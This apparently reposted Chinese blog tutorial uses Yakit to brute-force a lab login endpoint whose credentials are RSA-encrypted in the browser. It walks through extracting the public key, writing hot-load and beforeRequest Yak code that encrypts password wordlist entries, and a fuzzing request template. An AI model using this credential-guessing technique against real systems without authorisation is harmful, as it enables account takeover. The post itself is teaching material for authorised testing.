文章总结: 文章介绍使用Yakit解决前端RSA加密接口的Fuzz测试难题。通过提取公钥,利用codec模块与热加载实现自动加密与爆破。针对Payload显示问题,采用beforeRequest钩子在发送前动态加密明文参数,从而在界面直观展示原始账号密码,有效提升测试效率。 综合评分: 88 文章分类: 渗透测试,WEB安全,安全工具
yakit 通过codec 解决RSA加密
原创
进击的hack
进击的HACK
2025年4月6日 07:50 江苏
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
前言
靶场就不过多叙述,具体的可以看yakit系列的前几篇文章。 本篇文章主要内容:
- • yakit 热加载进行 RSA 加密
- • 如何显示想要的payloads
结果展示
成功通过 web fuzzer 对进行了rsa加密的接口进行爆破
加解密过程
前端加密分析
访问 http://192.168.56.32:82/
RSA 加密
在history中,查看数据包,参数被rsa加密 data
浏览器分析代码
source 全局搜索关键词
寻找发包点,定位加密地点 下断点,点击按钮
_0xc4a2fd 传入的是加密后的data,向上追,找到_0x4c2fb7中是明文data
{"username":"admin","password":"admin"}
定位加密函数
_0x2eaef7['encrypt'](data)
加密过程
_0x3e25e1 = '\n-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi\nNH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM\nDSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb\nocDbsNeCwNpRxwjIdQIDAQAB\n-----END PUBLIC KEY-----\n '
_0x2eaef7 = new JSEncrypt();
_0x2eaef7['setPublicKey'](data);
yakit 构造RSA加密函数
在放置公钥在热加载前,我们现在codec模块,测试一下具体的加密方法,避免热加载的时候一头雾水,解决不了报错
yakit的codec模块和cyberchef很像,是拖动的,将加密后的data发送到后端
没出现解密失败的报错,说明后端成功解密接收了。
由此,我们可知加密办法是 codec.RSADecryptWithPKCS1v15
注意点 我们从浏览器拿到的公钥是这样的
\n-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi\nNH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM\nDSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb\nocDbsNeCwNpRxwjIdQIDAQAB\n-----END PUBLIC KEY-----\n
需要将 \n 替换为回车,对格式进行转换,如下:
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi
NH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM
DSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb
ocDbsNeCwNpRxwjIdQIDAQAB
-----END PUBLIC KEY-----
热加载代码模板
热加载中有代码模板
作用:以笛卡尔积生成爆破字典,对结果进行RSA 公钥加密
配置热加载
decode2 = func(param) {
publicKey = `-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi
NH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM
DSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb
ocDbsNeCwNpRxwjIdQIDAQAB
-----END PUBLIC KEY-----` /* base64格式的publicKey */
usernameDict = ["admin"] /* 用户字典 */
passwordDict = ["admin", "123456", "admin123", "88888888", "666666"] /* 密码字典 */
resultList = []
for username in usernameDict {
for password in passwordDict {
m = {"username":username,"password":password} /* 这里替换为你需要的格式 */
jsonInput = json.dumps(m)
result = codec.RSAEncryptWithPKCS1v15(publicKey , jsonInput)~
base64Result = codec.EncodeBase64(result)
base64Result = codec.EscapeUrl(base64Result)
resultList.Append(base64Result)
}
}
return resultList
}
–注意点
我们可以看到,发送到后端的data再最后进行了URL编码。所以我们在热加载里也要添加相关内容,不然后端就会解密失败。
- • base64Result = codec.EscapeUrl(base64Result)
调试执行
点击保存,配置fuzz tag
发送成功。
问题
但是,有一个问题,我们看不到payload中的账号和密码,后面肯定不方便。如果有知道怎么配置的师傅可以留言。 但是我翻阅yakit的文档,也没找到在哪里配置payloads的显示内容。 但所谓只要思想不滑坡,办法总比困难多。 我找到了一个不是办法的办法。
解决办法
我们通过热加载的beforerequest调用函数,这样就能看见了。 具体的代码如下: 热加载:
decode2 = func(jsonInput) {
publicKey = `-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi
NH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM
DSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb
ocDbsNeCwNpRxwjIdQIDAQAB
-----END PUBLIC KEY-----`/* base64格式的publicKey */
result = codec.RSAEncryptWithPKCS1v15(publicKey, jsonInput)~
base64Result = codec.EncodeBase64(result)
base64Result = codec.EscapeUrl(base64Result)
return base64Result
}
// beforeRequest 允许在每次发送数据包前对请求做最后的处理,定义为 func(https bool, originReq []byte, req []byte) []byte
// https 请求是否为https请求
// originReq 原始请求
// req 请求
beforeRequest = func(https, originReq, req) {
// 我们可以将请求进行一定的修改
password = poc.GetHTTPPacketPostParam(
req,
"data",
)
username = poc.GetHTTPPacketPostParam(
req,
"username",
)
m = {"username": username, "password": password}/* 这里替换为你需要的格式 */
jsonInput = json.dumps(m)
dataEnc = decode2(jsonInput)
req = poc.ReplaceHTTPPacketBody(req /*type: []byte*/, "data=" + dataEnc)
return []byte(req)
}
修改了一部分代码
-
• 我们将需要传入的参数写在请求体中,接着热加载接收这些参数,拼接成json,加密。最后将结果替换到请求体中。
-
• poc.ReplaceHTTPPacketBody 会将请求体的内容全部替换。
请求包
POST /encrypt/rsa.php HTTP/1.1
Host: 192.168.56.32:82
Referer: http://192.168.56.32:82/
Accept-Language: zh-CN,zh;q=0.9
Origin: http://192.168.56.32:82
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 193
data={{payload(pass_top25)}}&username={{payload(user_top10)}}
结果成功打印payloads
往期推荐
通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包
yakit 调用jsRpc加解密,免去抠代码补环境
代码审计 | 一次JWT任意用户登录审计
Yakit JWT Token 弱口令枚举
yakit 弱口令爆破与未授权检测
yakit 验证码识别 进行webfuzzer
yakit 安装和初次使用
数据库自动取样工具DataMiner
burpsuite指纹识别插件合集
工具推荐 | P1finger 重点资产指纹识别工具
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:进击的HACK 进击的hack《yakit 通过codec 解决RSA加密》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论